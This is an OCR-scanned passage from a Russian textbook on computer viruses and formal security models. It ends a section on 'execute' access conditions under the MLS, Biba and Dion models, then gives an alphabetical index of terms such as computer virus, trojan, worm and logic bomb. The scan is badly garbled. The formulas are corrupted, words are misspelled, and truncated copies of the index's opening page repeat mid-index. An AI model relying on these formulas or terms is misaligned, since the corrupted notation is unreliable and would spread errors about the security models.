—> {read, write, execute} , определяющую допустимые в момент времени г доступы субъектов нз множества S, к объектам из множества О. Для многоуровневой политики безопасности MLS условие допусти- мости доступа execute можно сформулировать следующим образом: execute е М (s, о) <=> Def se St, ое О, c(o)<c{s). где c:X,-^SCL, X,=St<jO Реализация этого доступа означает, s' = Execute (s, о). 5/+| = 5, <>{/}, c(s') = c(s). Для политики целостности Биба условие допустимости доступа execute формулируется, например, следующим образом execute е M.(s,о) <=> Def se S,. ое О, c(s}<c(o). где с X, -» SIL, Xt = 5, о О. Реализация этого доступа также означает: s' = Execute^, о}, S,+l = = S,u{s'}, c(s') = c(s). В модели Диона доступ execute предполагает выполнение, напри- мер, следующего условия: execute е М. (s, о) DeJ se St, ое О, cWCL (|J) S сRCI. (5)> CRCL (°) - с WCL (S) с№// (s) <cRIL (о), сRtL(s) < cwlL (о). При этом реализация этого доступа означает’ s' = Execute(s, о), Sl+1 = S; u{s'}, cACl (s ) = CACI.{S)< cRCl(s cWCl(s) = cWCl(s)- f ail(s )=cail(s)< cR1I.{s ) = cRIl(s')’ cwu.(s )=cwil(s)- Здесь: cACL: X, -» SCI.. cKCL: X, -э SC.L, cWCL: Xt -э SCL, cail -bSlL, cRl[ Xt cWIL : X, -+SIL , Xt=S,^O 139
Алфавитный указатель А аксиома, безопасности информации, 51 ненасышения, 83 непрерывности отношения слабого предпочтения, 83 порождения субъектов, 46 совершенства, рефлексивности и транзитивности отношения слабого предпочтения, 81 строгой выпуклости, 83 алфавит, 44 В вектор предельных полезностей, 85 вирмэйкер, 6 Г граф, базисный, 127 отношения частичного порядка, 127 д домен, 45 достижимость одного элемента множества из другого, 60 доступ, 49 на выполнение. 50 запись, 50 создание, 50 удаление, 50 чтение, 50 140
3 закон Госсена, 86 К канторовская диагональная процедура, 57 компонента, программная, вредоносная, 7 сильно связная (сильная), 60 компьютерный вирус (КВ), 12,43 конкретная реализация, 61 необходимое свойство, 41 необходимое условие существования, 52 полиморфный, 61 экземпляр, 61 коэффициент, агрессивности вирмэйкера, 89 легкости реализации идеи КВ, 92 чувствительности общества к вирусной активности, 89 эффективности мероприятий по обеспечению безопасности. 92 Л лошческая бомба, 12 м макровирус. 53 матрица Гессе, 85 метка, конфиденциальности, 133 Целостности, 133 множество, безразличия, 82 бюджетное, 83 свойства, 84 возможных доступов, 51 141
Алфавш А аксиома, безопасное; ненасытен непрерывш порождени совершена слабого строгой вы алфавит, 44 В вектор предель вирмэйкер. 6 I множество, непредпочтительное, 83 предпочтительное, 82 упорядоченное, линейно, 127 частично, 127 модель, безопасности Диона, 137 квалификации действий лица, создающего, использующего и/или распространяющего вредоносное программное обеспечение, 8 оценки совокупной стоимости владения вычислительном системой, подверженной атакам КВ, 74 п]х>тивостояния в обществе. 86 субъектно-объектная, 43 у I роз, 5 «человека экономического», 79 граф, базисный, I.1 отношения * домен 45 достижимость с доступ, 49 на выполне) запись, 5 создание удаление чтение, 5 обнаружение, КВ, 62 в слабом смысле, 66 любого КВ, 56 объект, ассоциированный с субъектом, 47 источник, 46 относительно языка, 44 отношение, безразличия, 81 линейного порядка, 127 —порядка, 127 предпочтения, 81 индикатор, 80 сильное, 81 слабое, 81 п подмножество, допустимых фазовых траекторий. 55 сильно связное (сильное), 60 142
подрешетка, 131 подъязык, 44 олезность, 79 политика безопасности, 52 многоуровневая (Ml5). 134 целостности Биба, 134 порождение субъекта, 46 автономное 48 поток, 48 потребитель, 80 преобразование информации, 45 выполнение, 45 описание, 45 хранение, 45 проблема обнаружения КВ формально. 56, 62,66 выводы, 68 самоприменимости, 57 программа, вредоносная, 7 троянская, 12 пространство, товаров, 81 фазовое, доступов вычислительной системы, 52 процесс 45 Р равновесие по Нэшу, 86 разрушающее программное воздействие (РПВ), 12 решетка 129 С система программирования. 5 слово, 44 пустое, 44 совокупная стоимость владения. 73 143
Алфавит А аксиома, безопасное ненасытен непрерывн порожден и совершенен слабого строгой ВЫ| алфавит, 44 в вектор предел вирмэйкер, 6 граф, базисный, 11 отношения ’ д домен, 45 достижимость доступ, 49 на выполне, запись, 5 создание удаление чтение, 5 субъект, 45 активизирующий, 46 порожденный, 46 состояние, 47 т товар, 80 троянский конь, 12 управление, 45 Ф фазовая траектория в пространстве доступов, 52 функция, активности КВ, 86 свойства, 87 необратимая, 71 с черным ходом, 72 полезности, 84 свойства, 85 характеристическая, 41 ч чёфвь, 12 Э электронная цифровая подпись (ЭЦП), 71 Я язык, 44 144
ЗАМЕЧЕННЫЕ ОПЕЧАТКИ